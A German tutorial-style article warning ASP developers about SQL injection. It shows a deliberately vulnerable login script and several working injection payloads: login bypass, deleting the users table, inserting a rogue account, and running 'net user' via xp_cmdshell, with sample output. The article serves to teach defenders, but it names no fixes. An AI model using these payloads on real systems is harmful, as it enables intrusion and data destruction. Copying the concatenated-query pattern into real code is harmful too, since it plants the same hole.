Bei der Entwicklung von ASP-Applikationen wie zum Beispiel Intranet, Extranet, Onlineshops, ... verwendet man nahezu überall eine Datenbank. Kennt man alleine nur die Grundlagen von Datenbanken, besser gesagt, die Grundlagen der SQL-Syntax (SQL Server, Access) kann man in sekundenschnelle großen Schaden beim Anbieter oder als Versehen im Intranet der eigenen Firma verursachen.
Viele Intranetapplikationen wie z.B IntraNaut besitzten eine Loginmaske, die beim Anmelden gewissen Rechte und Einstellungen von der Datenbank auslesen.
Betrachten wir einmal eine sehr einfache Login-Methode, die man in ASP einsetzten könnte:
<% Connection = "Provider=SQLOLEDB.1;Data Source=IhrSQLServer;" & _ "Initial Catalog=IhreDatenbank;User Id=sa;Password=" ... ... sUser = trim(Request.Form("txUser")) sPwd = trim(Request.Form("txPwd")) set oLogin = Server.CreateObject("ADODB.Recordset") oLogin.Open "SELECT COUNT(*) FROM users WHERE Uname = '" & sUser & "' AND Upwd = '" & sPwd & "'" , Connection If (oLogin.Fields(0).Value > 0) Then Response.Redirect "SesamOeffneDich.asp" Response.End Else ... Response.Redirect "login.asp" ... End If ... ... %> |
Einige werden jetzt behaupten, dass das SQL-Statement richtig ist. Wahrlich da wird sogar ein Ergebnis zurückgeliefert. Die Syntax ist OK. Erfahrene Datenbankentwickler dreht sich bei einem solchen Statement der Magen um. Die Syntax ist zwar richtig, der Gebrauch eines solchen Statements aber mit Vorsicht zu genießen.
Nehmen Sie einmal an, dass Sie als Entwickler oder Consultance eine externe Firma in Sachen Onlineshop beraten oder sogar -o Gott- selber bei der Entwicklung Hand anlegen. Ein weiterer Fehler der oft gemacht wird ist, dass der Supervisor der Anwendung meistens den Benutzernamen Administrator oder kurz Admin besitzt. Der SQL-Server empfängt bei dem Beispiel oben folgendes Statement:
SELECT COUNT(*) FROM users WHERE Uname = 'administrator' AND Upwd='X3ffy6gsLPPAYAZGR' |
Sehr intelligentes Passwort !?! Da kommt sicher keiner als Administrator rein ! Aber auch der schlaue Fuchs findet immer in den Hühnerstall und lacht sich dabei eins. OK, was macht man da um trotzdem hineinzukommen?
GANZ EINFACH - Strings, Strings, Stings in SQL
Benutzername ' OR '1'='1 Passwort ' OR '1'='1 |
Ja, Wahnsinn ! Der SQL-Server erhält folendes Statement
SELECT COUNT(*) FROM users WHERE Uname='' OR '0'='0' AND Upwd='' OR '0'='0' |
Tja, hier bekommt man die Anzahl der Benuter zurück, denn
'0'='0' ist
wahr, und somit stimmt die Bedingung des Statements. Ja so kommt man hier rein. Es geht aber auch noch anders !
Benutzername ' DELETE users -- Passwort beliebig |
Der SQL-Server erhält folgendes Statement:
SELECT COUNT(*) FROM users WHERE Uname='' DELETE users --' AND Upwd='' |
Das ist der worst case unter den Statements. Alle Datensätze der Tabelle users werden gelöscht. Wie ist das möglich ? Hier werden 2 Statements erzeugt. Eines davon ist ein delete-Statement gefolgt von einem Kommentar -- AND Upwd = ''. Tolle Sache :-( Hackers Heaven Doors.
Eigentlich wäre es eine wunderbare Sache, mich als Benutzer in die Datenbank zu speichern, oder ? Das fällt bestimmt keinen so schnell auf. Auch das ist hier kein Problem:-). Hier muss man unter Umständen ein wenig experimentieren, da die Spalten der Tabelle unterschiedlich angeordnet sein können und evt. noch andere Daten wie Datum, ... notwenig sind.
Nehmen wir einmal an, dass wir einige Versionen von
values('','','',....) ausprobiert haben und feststellen konnten, dass die erste Spalte der Tabelle users der Benutzername ist und die zweite Spalte das Passwort. Ja, und hier gebe ich dann folgendes ein:
Benutzername ' INSERT INTO users values('willbe','user') -- Passwort beliebig |
Der SQL-Server erhält folgendes Statement:
SELECT COUNT(*) FROM users WHERE Uname='' INSERT INTO users values('willbe','user') --' AND Upwd='' |
Jetzt bin ich offizieller Benutzer des OnlineShops. Geschafft !
Aber das langweilt alles. Am besten wäre es, wenn ich NT-User wäre, und mich direkt auf den Server verbinden könnte. Ich zeige Ihnen hier die Vorarbeit, da dieser Artikel keine Hackeranleitung sein soll, sondern auf die Gefahren hinweist.
Zuerst listen wir einmal alles auf, was den Administrator der Maschine angeht.
Benutzername ' EXEC master..xp_cmdshell 'net user administrator' -- Passwort beliebig |
Der SQL-Server erhält folgendes Statement:
SELECT COUNT(*) FROM users WHERE Uname='' EXEC master..xp_cmdshell 'net user administrator' --' AND Upwd='' |
Was liefert uns das ?
Benutzername Administrator Vollständiger Name Administrator Beschreibung Vordefiniertes Konto für die Verwaltung des Computers bzw. der Domäne Benutzerbeschreibung Ländereinstellung 000 (Standardsystemvorgabe) Konto aktiv Ja Konto abgelaufen Nie NULL Letztes Setzen des Kennworts 11/24/2000 5:29 PM Kennwort läuft ab Nie Kennwort änderbar 11/24/2000 5:29 PM Kennwort erforderlich Ja Benutzer kann Kennwort ändern Ja NULL Erlaubte Arbeitsstationen Alle Anmeldeskript Benutzerprofil Basisverzeichnis Letzte Anmeldung 3/19/2002 12:02 PM NULL Erlaubte Anmeldezeiten Alle NULL Lokale Gruppenmitgliedschaften *Administratoren *Replikations-Operator *Server-Operatoren *Sicherungs-Operatoren *StoreManagers Globale Gruppenmitgliedschaften *Domänen-Admins *Schema-Admins *Organisations-Admins *Richtlinien-Ersteller *Domänen-Benutzer *Exchange Domain Serve *Exchange Services Der Befehl wurde erfolgreich ausgeführt. ... ... ... |
Wie Sie an die Info kommen und was da noch alles dazugehört werden ich hier nicht beschrieben. Hier endet der Artikel und ich wünsche Ihen noch gutes Schaffen !
Strasser Shinja